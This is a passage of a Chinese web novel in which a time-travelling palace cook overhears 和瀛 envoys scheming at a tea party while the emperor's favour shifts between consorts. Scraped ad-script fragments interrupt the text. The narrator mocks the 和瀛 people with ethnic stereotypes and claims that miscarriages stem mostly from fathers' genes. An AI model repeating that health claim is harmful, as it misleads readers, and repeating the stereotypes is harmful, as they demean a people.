——都是简单的快手菜,其中最费力的是那烧饼。 众人合力,可算将第一批润着油光的面坯送入烤炉,很快就有暖洋洋的香气溢出。 王巧娘摸着空瘪的肚子,馋得要流口水。 “按照晓瓷说的,油料里除了花椒粉还加了一点点小茴香粉。你们闻闻,这味儿可真正啊!马上就不一样了。” 她深吸一口气,欢喜地啧啧赞叹。 “香料这东西是真好!人家那么贵也是有道理的。” 不提“香料”也就罢了,一听“香料”二字,苏晓瓷只觉得气都要气饱,根本不用吃这些辛苦准备的美味朝食了。 ——生辰宴那日,她最后听到的小道消息就和“香料”有关。 苏晓瓷这才知道,自己去霓云殿送海胆水饺那一日,皇帝命人给和瀛使团送去三石香料作为礼物。 三石香料?! 那可是将近三百斤啊! 而且是川地的干红辣椒、花椒,还有胡椒各取一石,皆是今年新货,最好的品质!上赶着给和瀛国使团送到驿馆了! 苏晓瓷听到的时候心都在滴血。 她便想起来,陈永忠出现时,李驰确实问过一句“礼物都送过去了?” 而铁之助的头颅,则是和瀛国送来的所谓“回礼”。 三石香料换来一颗头颅。 呵呵,还真是合算。 香料何其珍贵,价比金玉。 平民百姓稀罕得很,不舍得多用;就连权贵阶层也珍之重之,很多人家会将香料和珠宝绸缎一样,作为家产囤着。 本朝,甚至有用香料抵折官员俸禄的传统。 官员们对此没有丝毫不满,反倒是欣然接受。 因为香料好流通、有市场,倒卖得当的话,收益则胜于俸禄数倍。(1) 大隆历代明君贤主,实蒲鞭之政,布尸鸠之仁,才一点点从前朝暴虐的废墟上建起新政,先开太平之治,终启鸿均之世。 好不容易充盈的国库,就是给李驰这样挥霍的? 苏晓瓷愤恨地想,李驰就像是同学聚会上不仅抢着结账,而且非给其他人送烟、送酒、送红包的中年爹味大款。 他确实有相应的实力,然而如此撒币行为仍是大可不必。 因为那些受他恩惠的人,只会将他当做冤大头。 他们表面感谢,背地里却琢磨着怎样一年开个百八十回同学会,将他的家底好好榨一榨,也根本没有与之价值相当的回礼,就算他们有…… 苏晓瓷知道,他们也不会给。 更气人的是,李驰也不会要。 李驰是一个没有血性和野心的皇帝。 没办法,他这一生实在过得太平顺了。 明明生母身份低微,自己资质普通,却能安稳苟过诸王争储的惨烈。 又因为性格温和而顺从,被没有子嗣的武太后选中扶持登基,平白捡漏一个皇位。 可是,有的时候,庸君比暴君还可怕。 因为一个平庸的皇帝好似无害,没人会反抗,没人会质疑,但他的所作所为却像是温水煮青蛙,一点点腐蚀这个国家。 与烤炉袅袅炊烟同时升起的,还有苏晓瓷一点忧国忧民之心。 往实际点说,她希望大隆长治久安,只因太平犬都要好过乱世人; 往情怀上说,两世皆入华夏,她当然希望这文明的薪火永远旺盛,永远闪耀,没有任何人敢觊觎,没有任何国敢染指。 在东方些微的曦光中,在灯火通明的建筑前,和亲友们一起等着吃刚出锅的酥脆烧饼,感到安全、感到愉快—— 苏晓瓷希望,所有大隆百姓都能轻轻松松就拥有这样的时刻。 所以,苏晓瓷想要一位锋利的皇帝。 永远不满足、永远不松懈、永远不会为了博得虚名而令大隆吃亏,明锐的眼睛望断天涯,看透所有狼子野心和虚与委蛇。 ……只可惜,不思忧患的李驰是不够格的。 而将下一任皇帝的可能人选在心中过了一遍,苏晓瓷觉得自己这个愿望还是要落空。 李驰子嗣不丰,胎死腹中的、幼年早夭的孩子似乎至少七八个。 膝下长成的皇子仅有三位——按齿序排是大皇子、二皇子和六皇子,尚未立储。 大皇子已近而立之年,早在十年前就入朝领了差遣官职。 但是,他显然没有达到本朝对皇子们“内襄政本、外领师干”的要求,并无过人政绩,孩子倒是生了不少。 二皇子是已故先皇后独子,也有太后的武氏血脉,照理是继承皇位的最正统人选。 只可惜他也继承了生母羸弱的身子,缠绵病榻,汤药不停。 且与大皇子相反,二皇子成婚数载,三妻四妾均未诞下一儿半女。 难免令人生出不安的疑虑来。 至于最后那一位六皇子,苏晓瓷不知他是否成家、是否有子嗣。 因为……宫中基本上查无此人。 苏晓瓷只听说六皇子好像在道观中清修,为国祈福。 道观在京郊,可这听起来简直就是被发配边疆了,想来御座与他无缘。 大隆有过数位女帝,照理说,公主们也算作皇储人选。 但李驰只有两个女儿,皆在总角之年,且母族不盛,显然是无法与成年的兄长们抗衡。 苏晓瓷越想越生气。 老李家什么破基因? 这明显是李驰的问题。 事实上,胎儿留不住、或是先天不足,绝大多数情况下就是父系基因不够优质,只可怜女人们为此挨了千百年的骂。 明明是爹熊熊一窝。 白瞎了那么多如花似玉、才貌顶尖的宫妃。 苏晓瓷鼓成气球的脸颊,被王巧娘手中的一块烧饼戳得漏了气。 “快快!晓瓷,趁热吃。” 热腾腾的烧饼掰开,王巧娘炫苏晓瓷嘴里一块,自己也赶紧呼着气叼住一块。 刚出炉的烧饼,因那湿润的热气未散尽,口感并不是最酥脆,却是最美味的时刻。 因为热意能将香料的滋味完全烘托出来,令人唇齿留香,正所谓“家有千顷,不吃热饼”。 这第一批烧饼烤熟,被甲字班众人快乐地“中饱私囊”。 金黄的烧饼,外缘薄而干硬,中间则稍厚而实,又被油酥料分出酥层来。 只这一块,就让苏晓瓷尝到丰富而不同的口感。 芳烈的胡椒粉和茴香粉更是画龙点睛。 可是,只要一想到李驰轻飘飘就送出去三石香料,苏晓瓷就觉得方才将撒到案板上的茴香粉小心翼翼铲起的自己十分可笑,连带这烧饼都不好吃了。 她越来越觉得自己实在是高看李驰,而小看藤原纯子了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >因为据小道消息称,李驰给使团白送香料的契机,就是藤原纯子吹了枕边风—— 说皆是因为和瀛之人没见过辣椒,才在国宴上失礼。 希望天可汗能慷慨赐下香料,给和瀛国见识见识。 苏晓瓷不得不承认,藤原纯子很会曲意逢迎地哄人。 仿佛凡事发生,皆可有利于她。 不会《礼记》,她就抓紧时间去学,学会了就是自己的了; 没有香料,她就低声下气去要,要到了才是最实在的。 苏晓瓷心知肚明,藤原纯子这种能包羞忍耻的韧劲,以及努力学习大隆一切的行动力,其实远远强于只会破防的藤原义,也是更值得忌惮的。 现在,李驰好像因为铁之助头颅一事,暂时厌弃了藤原纯子。 但苏晓瓷了解男人,就像李驰并不真的需要宠妃是才女一样,更不需要她是圣人。 只要藤原纯子还乖巧可怜、年轻貌美,复宠就是早晚的事情。 藤原纯子,无论是作为单个的敌人,还是一个国家的象征,都是可怕的对手。 一块烧饼,苏晓瓷吃得心事重重。 *——*——* “苏小娘子,这边请。安昭仪娘娘是在小风亭举办茶会。” “多谢女官姐姐。” 为苏晓瓷引路的,乃是尚食局一位正八品的掌膳女官,算起来和苏晓瓷已是第二次见面。 “苏小娘子太客气了。” 掌膳女官明显有交好之意,语气十分和婉。 “为主子们试膳本是我的职责,但是吃了你做的吃食,方觉得自己也占了便宜似的。上回的海胆水饺和玉带朱衣侯可令我念念不忘呢,你这一回带来茶点更是精美,我也算开了眼界了。” 苏晓瓷笑说“姐姐谬赞”,握紧手中食盒。 女官最善于察言观色,许是看出苏晓瓷形容疲惫,她不禁感叹。 “你那些点心样样极尽精巧,想来是从收到消息就一刻不停忙到现在吧,真是辛苦了。” 事实正是如此。 彼时苏晓瓷胃口刚开,那一块烧饼刚咂摸出了滋味,霓云殿却传来新的指令,结束了她安稳的清晨—— 原来是藤原纯子申时要办茶会招待藤原义,命苏晓瓷制作几道茶点送来。 本朝民风淳朴、统治开明,妃嫔娘家探亲不受太多苛刻限制,甚至可以说很人性化。 逢年过节、四时良辰,都准家人入宫探视,得宠的妃嫔回家省亲也是常事。 至于藤原纯子,更是因为远嫁而犹得怜惜,李驰特别准许和瀛使臣在京期间,可随时入宫探望。 只不过,藤原纯子一直没行使这条特权。直到今日,才忍不住召唤兄长。 苏晓瓷猜测,也许是因为皇帝近日的冷遇,让她六神无主,急与族人商议。 苏晓瓷只得骂骂咧咧开了工。 点心制作工序繁杂,她从天未亮一直忙活到这午后时光,总共准备了八样茶点,满满装了两个红酸枝木大食盒,此时分别拎在她和女官的手中。 “苏小娘子,昭仪娘娘近来心情郁郁,你凡事小心仔细。” 掌膳女官好心提点。 “若是真出了什么你无法周全之事,便想办法来风亭边的回廊找我们报信。” 苏晓瓷一愣,“女官姐姐们不在一旁侍候吗?” 怎么守在廊下? 嫔妃用膳,无论正膳还是点心,都应有尚食局女官在场服侍的。 “亭中只有昭仪娘娘,藤原少将军和阿竹夫人。” 女官讪讪一笑,似是觉得有些丢人,最后还是如实回答。 “今日的茶会由阿竹夫人一手安排。她说……她说我等女官不懂茶道,帮不上忙的。” 苏晓瓷:??? 有没有王法了? 讲不讲天理了? 不肖子孙都敢指责祖宗了? 和瀛人都敢说华夏人不懂茶道了? 海胆都想不出第二种吃法的乳娘,都敢对见惯佳肴美馔的女官生出优越感了? 没见过这样自不量力的! 霎时间,苏晓瓷只觉得困倦全消,怒气翻涌。 她的面色沉如深潭,静静接过女官手中食盒,然后就像拎着两个炸.药包似的,疾步朝风亭走去…… 19. 萝卜糕、她能听懂 霓云殿是后宫中最华美的宫殿之一。 花窗粉墙、黛瓦青石这些小细节,自是已臻人力之极致。 更难得的,还是山石曲径、水榭荷塘等各种大地形随势而变,玲珑多姿地散在院落各处。 其中最别致的,就是这一座风亭。 风亭正嵌在小巧池塘的一角,底座掩在青圆的荷叶中,而飞檐临风,几乎飘飘欲上青天。 藤原义跪坐于绣毯之上,惊讶地看着透过纱帘的水面粼波,如银河一样流晃着,映满这座小亭。 有簌簌桃花瓣在午后的天光中纷乱闪烁,再落在清荫和流水里。 如此美妙的景象,简直是只能出现在梦中…… 藤原义一时失神,又马上被妹妹的声音拉回现实。 “如何,兄长大人?这霓云殿景致很优美吧?” 藤原义脸色一沉。 他不喜欢藤原纯子用这种骄傲到仿佛高他一等的语气说话,于是立刻反驳。 “这算什么美景?半点比不上故乡的樱花。” 苏晓瓷走近时,刚好就听见这离谱的一句和瀛话,她差点脚下一滑。 堪堪站稳了,她又想,还不如摔倒了! 正好可以将这俩大食盒,一人一个抡圆了砸在这对兄妹脸上。 至于阿竹的脸也别闲着,苏晓瓷可以再飞出一只鞋去攻击。 反正他们是脸都不要了,她不介意帮他们一把。 听得声响,三人同时朝苏晓瓷看来。 “苏女官。” 藤原纯子先笑着挥袖,好像苏晓瓷与她交情甚笃地招呼着,眼睛却将苏晓瓷上上下下一顿打量。 只见苏晓瓷鬓间两支银镀金的卷草纹簪子,再一对配套的小耳钉,另按着此间男女老少皆爱簪花的风俗,簪了一朵应时节的海棠绢花。 那花做得真真儿的,吐蕊沁芳。 因为面对的都是外使,鸿胪寺众人的统一衣装,确实要比其它宫娥们精致几分。 罗衣舞春风,三月三上巳节时,宫中刚赐下真丝花罗,着各处缝制新装。 鸿胪寺裁的,都是方便活动的束袖衫和收腰下裳,将苏晓瓷的身姿衬得格外挺拔风流。 藤原纯子下意识看向自己的衣饰。 看到自己指尖腕间宝石闪耀,身着宫装更是织金绣银,华贵于苏晓瓷百倍不止时,她才松了一口气似的,神色重回轻松。 殊不知,她这小小的心思流转,早被苏晓瓷尽收眼底。 不愧是最爱雌竞的樱花妹啊,苏晓瓷在心中吐槽。 有意思吗? 面上不显,她大大方方地与三人见了礼。 藤原纯子:“苏女官,这两位你应都是见过的。这位是家兄……” 笑吟吟介绍完,藤原纯子却转头用和瀛话对藤原义告状—— “兄长大人,就是这个女人,令我几次三番丢脸。” 苏晓瓷眉尖一挑。 藤原义的视线还无耻地黏在苏晓瓷身上,只淡淡瞥了妹妹一眼。 他也用和瀛话回答:“我知道是她。国宴时我不是也在场?你也真是没用。怎么总会被一个做饭女婢比下去。” 见藤原纯子被斥责,阿竹赶紧帮腔。 “少将军大人,这怪不得纯子姬大人。实在是这个奴婢总是顶嘴,毫无恭敬之心,真是太失礼了!也不知鸿胪寺是怎么教导的。” 因为说着和瀛话,阿竹仿佛又陷入了对和瀛国的追忆之中,甚至矜持地将下巴一扬,可笑地幻想道。 “这要是在我们和瀛,老身必然要严惩她,好好教教她规矩。” 在藤原义不置可否的哼声中,藤原纯子也耐心又慌张地解释。 “正是啊兄长大人,陛下最喜欢的便是我温柔和善,待人有礼。而且陛下对宫人十分宽和,我初来乍到,更不能随意处罚宫人呀。” 下一瞬,藤原纯子却忽地定定看向苏晓瓷—— “起码现在还不能。” 天真的残忍,恶毒的挑衅,全数蕴在她这语气极尽轻缓的一句话里。 如果不懂和瀛话,必然要认为这是一句温柔的夸奖。 苏晓瓷面色不改,用焊在脸上的得体微笑应对。 藤原纯子见她这完全不明就里的模样,眼中闪过轻蔑。刹那之后却又切换回汉话,亲亲热热地寒暄起来。 “苏女官今日做了什么,请快拿出让我们看看。” 苏晓瓷将茶点一样样摆出来,手脚轻而稳。 而那三人则当着她的面,肆无忌惮地用和瀛话交谈。 “果然没有红豆羊羹呢,就说他们不懂茶道。” “有没有羊羹不重要。做了这么多样点心,左右也折腾到她了。就是要让她跑这一趟,我才开心。” “哎呀哎呀,纯子姬大人,这就只是一个奴婢,自然是被您呼之即来的。” 兀自交谈的和瀛人,完全没考虑过苏晓瓷可能听懂。 毕竟在这样的时代,外邦语言是非常、非常稀有而专业的知识。 有条件和需求去学习外邦语言的,要么是他们这样的顶级贵族; 要么是专门培养的特殊人才,比如中书省和互市监的译语官。 苏晓瓷一个围着锅灶的膳婢,怎么可能懂呢? 然而,她们认为一个词都听不懂的苏晓瓷…… 其实早将她们的对话内容听懂七七八八。 苏晓瓷的语言天赋本就很高。 而且十来岁的时候,看过许多的日本动漫和电视剧,也正搭上了“语言学习能力爆表”这一个人生限时年龄buff的末班车。 虽然赶不上几个月时间,就能把外语说得和母语一样的低龄儿童,但苏晓瓷确实就在不知不觉之间,拥有了相当扎实的日语听说能力,日常交流完全没问题。 就算她们用的是古和瀛语词汇和句法又怎样? 苏晓瓷古装大河剧也没少看! 而且,越是正式、越是深奥的和瀛话,汉语含量就越高。 连猜带蒙,易如反掌。 她们以为自己精通两种语言,正将苏晓瓷玩弄于鼓掌之间。 却不知苏晓瓷看她们就像在看耍猴儿,静静陪着演戏。 苏晓瓷压住嘴角嘲讽的笑意,摆齐了糕点。 “白雪片、八珍糕、蛋黄酥、茯苓糕,另加上水晶虾饺、野鸭春饼、黄雀卷和萝卜糕。” 四甜四咸,总共八样糕点皆盛在纯银雕花的高足盘里。 颜色或浅或艳,形状有方有圆。 做法也是多种多样,有用精美模子磕出来的,摆在一起最是规整利落; 也有一个个手工捏的,透着一股柔软的温情。 苏晓瓷深知藤原纯子孜孜不倦地在给自己挖坑,所以对待那“几样茶点”的指令十分谨慎。 只做两三样,可能被说是敷衍。 做的太多,又怕被指责铺张浪费。 最后,将宫中定例和眼下情况通通纳入考量,苏晓瓷总共做了这八样。 本是无可指摘的一套茶点,但是阿竹上来就要给苏晓瓷下马威。 “苏女官,和瀛茶会时不吃这些,我们都没见过呢。” 也许是海胆饺子那次结下的梁子,也许是实在看不惯苏晓瓷,总之,唯有面对她时,阿竹装也装不住,一字一句都透出阴阳怪气的刻薄来。 “没见过的东西,老身不敢让娘娘和少将军品尝。烦请苏女官先试吃一下。” 这毫无疑问是一种折辱。 送来的点心早经尚食女官层层检查且已试过毒,不需要苏晓瓷再试一遍。 阿竹不过是在享受摆弄苏晓瓷的滋味。 即使她根本没有这样的权利。 对苏晓瓷来说,没有人有这个权利。 这个世界没有,其他世界也没有。 但显然,藤原纯子不这么认为。 “也是,苏女官,你就当提前用夕食了。不用谢恩了,快吃吧。” 她俩一个唱白脸,一个唱红脸,合力完成一场幼稚的校园霸凌。 至于藤原义,则像是每一个在女人们的斗争中美美隐身的男人那样,一言不发,面露厌烦。 苏晓瓷倒是不恼。 看他们几个还挺有意思的,真是贱得各有千秋。 而且她做的东西,她自然堂堂正正地吃,能多吃就尽量多吃。 若是只给他们仨吃了,那才是真正的糟蹋。 毕竟这些点心都是她精工制作的,样样都有门道。 比如同样是“糕”,八珍糕和茯苓糕的口感就完全不同。 八珍糕真如其名,是将芡实、莲子、党参、核桃等珍物磨粉炒熟,用蜂蜜和酥油调合压制的。 吃起来时沙沙地磨着舌头,各种谷物和药材的香气非常浓烈,你来我往地争夺着味蕾。 据说八珍糕可是慈禧太后才有的享受,营养丰富,可强身健体,苏晓瓷毫不客气地私藏了好多块。 这种干粉的糕饼,妙就妙在好保存,吃的时候还可以直接用水泡成糊,方便快捷,自然是苏晓瓷战略物资储存中的重要一员。 至于那茯苓糕,则是完全不同的口感。 它是蒸出来的,细密的气泡使其十分蓬松,又软又绵,像是一捧白团团的新雪。 “茯苓糕安魂养神,轻身耐老。” 苏晓瓷一边试吃,一边还很尽职地介绍。 而阿竹不屈不挠,仍用和瀛话挑刺。 “居然真的不谢恩就吃了,粗野的丫头。” 阿竹发出“hohoho”的经典和瀛笑声,跪坐在地上笑得前仰后合,好像是将对苏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晓瓷的中伤,献宝一样献给藤原兄妹。 苏晓瓷只觉得阿竹更可笑。 她继续颇具松弛感地吃着,心想“不愧是我做的,真好吃。” 四样甜的吃完,苏晓瓷夹起一片萝卜糕。 这么厚实细润的一片,焦金的表面透出里面雪白的糕体,还有颜色丰富的配料来。 烹调的时候苏晓瓷已经口水直流——清鲜的萝卜香夹杂着浓厚的腊味香,淡淡的葱香点缀着暖暖的米香,尽数扑鼻而来。 等到蒸好的萝卜糕切了片入油锅一煎,香味更上层,诱人的油香混着食材的原香,咸中带鲜,鲜中透甜,让人食指大动。 所以来这霓云殿之前,苏晓瓷借着职务之便吃的最多的就是这萝卜糕。 光是那其中的瑶柱丁,干时澄黄似蜜,泡开了便透白莹润,贝肉丝缕柔韧,每吃一口都是赚到。 “此物是萝卜糕,乃是将萝卜擦丝,又加瑶柱、虾米、腊肉和香菇等同入粉浆,蒸制而成。” “是咸的?” 阿竹惊呼,眼睛瞪得滚圆。 “怎么用咸的东西做点心,还配茶?闻所未闻的吃法呀?” 苏晓瓷偷偷翻个白眼,真有点被阿竹激怒了。 点心不可以是咸的? 喝茶不可以吃咸点心? ——这话有本事你和广东人说去! 看他们不连你也一起吃了! 哦不对,苏晓瓷转念一想,广东人只喜欢吃福建人这种高端食材。 他们怕是看不上和瀛人。 毕竟食材本身的优劣也和其饲料有关。 而福建人,那可是吃遍好东西的。 依山靠海,商路贯通,福建集齐天时地利人和,鲜美丰富的物产常年不绝。 闽菜由此自成一系,更因用尽山海所赐珍味、烹制讲究,在八大菜系中都属于格调高的。 鸡茸金丝笋、龙身凤尾虾、扳指干贝、荔枝肉、八宝红鲟饭……每一个名字拎出来都金光闪闪。 更不用说那闽菜镇席之宝的“佛跳墙”。 缸启荤香飘四邻,佛闻弃禅跳墙来。 苏晓瓷估摸着,一坛佛跳墙中所用的山珍海味、调料配菜,大概就能囊括和瀛人用于烹调的八成食材吧! 差也差不了多少。 和瀛人吃的东西不好吃,由此可证和瀛人也不好吃…… 等等! 苏晓瓷忙打住自己脑海中的地狱笑话,开始飞速思考要如何回击阿竹。 ——“够了!” 倒是藤原义突然出声,用和瀛话训止住藤原纯子和阿竹。 他当然不是为了帮苏晓瓷,只是觉得妹妹光顾着和一介宫婢斗气,却还没用心夺回圣宠来,实在惹他恼火。 “大费周章请我进宫来,就是为了看你们做这些无聊的事?” “目光短浅,不堪重用,纯子,你太令我失望了。” “父亲大人的教导你都忘了吗?” “我们的目的是什么,也忘了吗?” 苏晓瓷眼波一凛。 如同飞鸢的翅羽,极快地掠过夜晚的水面,月影在涟漪中只模糊了刹那,便又聚圆。 苏晓瓷也马上恢复低垂眉眼的平常模样。 然而,她的心中却已经波浪滔天,恨意绵绵。 就知道,他们肯定有阴谋。 她屏息凝神,更仔细地听辨。 这风亭毕竟不是密闭的空间,藤原义顾忌着十丈外的连廊处候着的女官们,又听着藤原纯子连声的道歉,终是没再继续发火。 藤原纯子也不敢再东拉西扯,而是直奔主题,说确有一事需要兄长大人相助。 再过六日,就是藤原纯子的昭仪册封大典并筵席。 也是因为被邀参宴,和瀛使团才得以在京中多逗留这段时日。 藤原纯子觉得,这一次宴席是扭转李驰对于和瀛国印象的绝佳机会。 甚至……是很长时间以内的唯一机会。 “兄长大人,小妹仔细想了想。这段时日在大隆,无论是使团还是小妹我自己……都因饮食之道失了不少脸面。” 没敢点名藤原义被辣椒呛的事实,藤原纯子谨慎地观察着兄长的脸色,将这些事情一笔带过。 她轻声提议。 “既然如此,不如兄长大人对症下药,在六日后的册封宴席上,为陛下送来他没见过的和瀛美食,彰显我和瀛的地大物博。” 苏晓瓷惊呆了。 和瀛国? 地大物博?! 大妹子,你这说的还是人话吗? 苏晓瓷现在急需一个人将她一拳打昏,最好醒来就是六日之后。 她倒要看看和瀛国能奉上什么美食,让天潢贵胄的李驰都惊艳。 洋相,还得洋人出。 20. 复宠了、淑妃娘娘 自与和瀛国有往来时起,大隆便将其定为三等邦国。 这是最低的等级,和瀛对此敢怒不敢言,只觉得完全配不上日出之国的辉光。 和瀛自然想提升本国待遇,起码升到二等邦国。 届时,每次朝见得到的回礼都将大幅提升,也能将他们这些高贵的天照大神子孙和那些蕞尔小邦区分开来。 但百年过去,十几次朝觐中,无论他们在大隆如何蝇营狗苟地钻营,始终美梦不成,只能失败后又回国气急败坏地咒骂。 此次,藤原义带领使团前来,也自动肩负起这由举国上下执念铸成的任务。 藤原义信心满满,觉得这次稳了。 因为这次和瀛不仅将被誉为“和瀛第一美人”的妹妹送来和亲,更将什么海胆干、鲍鱼干、虾米、班布这样的例行礼物翻了两倍,仁至义尽。 藤原义已经在心中幻想了多次,等到自己完成和瀛升为二等邦国的任务,父亲将会为他多么骄傲,族人又会对他多么敬仰。 然而,令藤原义万分失望的是,他明里暗里试探多次,李驰却从不松口。 李驰对此事装傻的原因倒也简单。 ——实在是来大隆朝觐的国家太多了。 如果轻易开了厚此薄彼的头……等这些国家挨个要求提升等级时,可就要焦头烂额了。 天下共主也不是那么好当的,就像有许多孩子的父母,要尽量一碗水端平。 既然如此,还不如严格遵循开国时便定下的等级,不再随意更改。 遵循先祖的规矩,如此名正言顺,又省心省事。 但藤原义就像一个不懂父母苦心、只想着又争又抢的熊孩子一样,为此焦躁不已。 他知道,下一次来大隆的使团,几乎不可能再由他领头了。 难道,真要放过这千载难逢的机会吗? 藤原义不由得回忆起那一场令他又爱又恨的送行国宴。 破格提升的一等国宴待遇,不仅没有安抚到他,反而升米养恩、斗米养仇,让他在见识到那样极致的炊金馔玉之后,彻底燃起了觊觎之心。 由奢入俭难,藤原义想再搏一搏。 “你这个想法倒是不错。” 于是罕见地,藤原义对妹妹的提议表示肯定。 宴席之上气氛明朗,若能讨了李驰欢心,说不定对方乘着酒兴,真给他们升为二等邦国。 藤原义便答:“好,你说该送什么美食?” 藤原纯子一愣,“任凭兄长大人做主,我等您拿主意。” 一时寂静,兄妹俩大眼瞪小眼。 只有池中锦鲤急升到水面,衔住一片落花的甩尾声,冰凉凉地响在他们耳边。 藤原纯子特意请藤原义进宫拿主意,将他当做依靠; 藤原义则以为妹妹既然提起,必然早有头绪…… 两人都没想到,对方竟这么不靠谱! 苏晓瓷垂头站在一旁,都忍不住为这一对塑料兄妹感到尴尬。 还有纠结。 是啊,献什么呢? 他们有什么好献的啊?! 最有和瀛特色的那些特产已经往大隆送来多回,大隆本就看不上不说,也根本无法再引起惊喜; 这二人又都五谷不分,就算想起几道好菜,恐怕连用什么食材都不知。 再退一步想,使团中都是十指不沾春水的贵族子弟,就算决定了菜色,哪有人能掌勺? 在苏晓瓷吐槽的心声中,一直默不作声的阿竹有了动作。 只见她忽然自信一笑,轻咳一声开了口。 “少将军大人,纯子姬大人。老身有一个主意,不知二位可愿倾耳?” *——*——* 李驰来到淑妃罗锦语宫中时,罗锦语正闲来无事与女官手谈。 哪怕是不会围棋的人,只需瞧一眼这棋局,也知大势已定。 见李驰来,女官忙起身行礼。 比起面见君王的局促,她身上更明显的是从棋局解脱的畅快,赶紧后退侍立,让出了位置。 罗锦语倒是没怎么动弹,仍认真看着棋局。 她貌极丰艳,雪肤红唇,明明将近不惑,看起来却仍是双十岁后半那般容光最盛的年纪。 捻着一枚比己身肤色白不了几分的白子,她将其稳稳落于棋盘之上,才抽空斜睨李驰一眼。 “陛下今日怎么又来了?” 李驰尤其喜爱这一双顾盼生姿的眼睛,被呛了也甘愿。 “阖宫上下,只有爱妃往外赶朕。” 他说着这打情骂俏的话,可惜,罗锦语似不太接茬。 只在李驰自然而然地执了棋子要和她接着下棋时,罗锦语才忽然开口。 “兰环都要输了,陛下接着她的棋下,臣妾胜之不武。” 罗锦语竟是要和李驰黑白交换,由她接手那已是一片破瓦颓垣的黑子。 知道她向来自傲才情,李驰便也同意,笑道,“爱妃就这么确定能赢朕?” 一句打趣,马上赢来打脸。 只见罗锦语落下一子,正中反击的关窍,李驰被迫应了一手,狼狈地直接失去了先手优势。 接下来的时间里,罗锦语愈战愈勇。 刚才被她逼到绝境的黑子,一到她手里,居然又被盘活了。 她最后真的赢了李驰。 相当于一盘棋局,她赢了两次。 此时,李驰的脸上早没有了调侃的笑意,而是变得与那乌漆嘛黑的棋子差不多黑。 他深感尴尬。 再看罗锦语神采奕奕盯着棋盘的眼睛,忽又觉得不那么喜欢了。 取而代之的,是藤原纯子那一双总是仰望着自己的圆眼,其中饱含尊敬和崇拜,情意绵绵。 她之前还让自己教他下棋呢,李驰想起。 而自从铁之助一事之后,他再未去看过她,也不知…… 李驰此时过来,本意是与罗锦语同用晚膳,现下却改了心意。 他敷衍地夸赞了罗锦语棋艺几句,便忙不迭移驾离开。 兰环遣小宫娥去打探。须臾,便得了回禀,说陛下果然是往霓云殿而去。 兰环气得跺脚,看着又开始研读棋谱的自家娘娘,心急如焚。 “娘娘为何不留留陛下?” 她是陪着罗锦语长大的心腹,说话没有顾虑,只有一片忠心。 罗锦语姿态轻松地一手支颊,一手摆棋。 “他输了棋便觉难堪,留是留不住的。又不是第一次了。” 兰环叹气,自家娘娘就是太过争强好胜,下棋总将陛下杀得片甲不留,一点面子不给。 “我的淑妃娘娘啊,那您就让让陛下,行不行?” 罗锦语瞪她,“让他赢,比赢他要难八百倍。头疼,懒得想。” 兰环彻底无言以对。 罗锦语倒是打开了话匣子,唇边浮起的一丝讥笑,让她的美貌惊人地生动起来。 “与那和瀛小美人闹了别扭,便来拿我消遣。当我这里是什么地——” 罗锦语一顿,自嘲道,“罢了,我这里确实也不是什么好地方。” 她一边说着,一边完全不顾规则地,将一颗已经被吃掉的棋子又摆回棋局。 这一枚白子,被四周峥嵘黑墙围得严严实实,孤零零地没着没落。 罗锦语有些偏执地盯着这枚白子,忽远忽近地看,来来回回地看。 离得极近时,她甚至不顾仪态,几乎趴在棋案前,鼻息都扑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在小小棋子上,聚精会神。 仿佛它并不只是一颗圆不隆咚、半点细节都没有的棋子,而是难以读懂的天书。 “真以为我每回赶他,是在与他撒娇卖俏吗?” 罗锦语低语。 殿中唯一照进来的一点天光,被罗锦语赤金的项圈折射,化作无数涟涟晃动的金丝,正罩在那颗白子上。 像是交错的锁链。 像是纵横的蛛网。 罗锦语一拂袖,扫乱棋局。 “饿了,传膳吧。” *——*——* 如苏晓瓷之前所想——藤原纯子复宠了。 更准确地说,她或许从未真正失宠。 一面之缘的少年,哪里比得上怀中的娇娇半点? 李驰又不是傻子。 而且藤原纯子最擅长的那些手段,对待他这样的中年男人,正是屡试不爽。 据霓云殿有意无意放出的消息——李驰这两日都宿在霓云殿,教安昭仪娘娘下围棋呢。 ……下的什么夜光围棋。 听到消息时,苏晓瓷这样在心里吐槽。 而等到冷淡的嘲讽消去,又一阵无力感涌上苏晓瓷心头。 她明明是超越了时间和空间的穿越者,然而,却又只有她被困住。 被困在那些国恨家仇当中,被困在未曾亲眼得见、却融入她血脉的泪水和硝烟中。 只有她,始终愤愤不平,始终念念不忘,始终惴惴不安。 她的厌恶,她的提防,她看穿却不能说出口的秘密,都只能烂在肚子里,无人可分享。 因为,除了苏晓瓷以外的所有人—— 朝臣们、鸿胪寺众人、安居乐业的大隆百姓们,甚至包括这个国家至高的君王,都只将和瀛当做一个掀不起风浪的小宠物。 却没想过,随手投喂给宠物的食物,也可能变成养育野性的饵料,滋养出扑向主人尖牙和利爪。 苏晓瓷想,可她又能如何呢? 哪怕她巧妙地令藤原纯子丢了几回脸,可藤原纯子仍然拥有李驰的宠爱和卓然的地位。 哪怕藤原义先失礼于国宴,后又送上头颅“大礼”,可他仍然将带着破格赐下的礼物满载而归。 按照目前李驰和藤原纯子这黏糊劲儿,说不定,和瀛升为二等邦国的愿望也会实现。 其实,苏晓瓷并不认为升二等邦国这样的小恩小惠就是和瀛国的最终目标。 更深沉的阴谋,必然还潜藏在他们恭顺的外表下。 ……可是,大人物们搅弄的风云,身为小膳婢的苏晓瓷根本无从参与。 她感到疲惫。 纵然拼尽全力,也无法真正改变什么。 苏晓瓷就劝自己,别再自寻烦恼了。 人生苦短,她又侥幸重活一世,与其忧心家国大事,还不如关注每日的一餐一食。 苏晓瓷很快就调整好了情绪,尤其是在鸿胪寺最近的伙食尤其不错的情况下。 临近夏日,万物竞发,食材越发丰富新鲜。 苏晓瓷连着好吃好喝两日,心情也如同吃掉的那些初熟的鲜李子一般,渐渐饱涨明亮起来。 虽然还有一点点不尽如人意的酸涩,但起码吃得下去。 日子……就也这么过下去吧,苏晓瓷想。 别再去管什么和瀛,又什么东丽。 不管了,都不管了。 起码,此时的苏晓瓷,是真的以为自己放下了。 而且幸运的是,大概是既要应付恩宠,还要准备在册封宫宴献上的美食,藤原纯子又没空理苏晓瓷了。 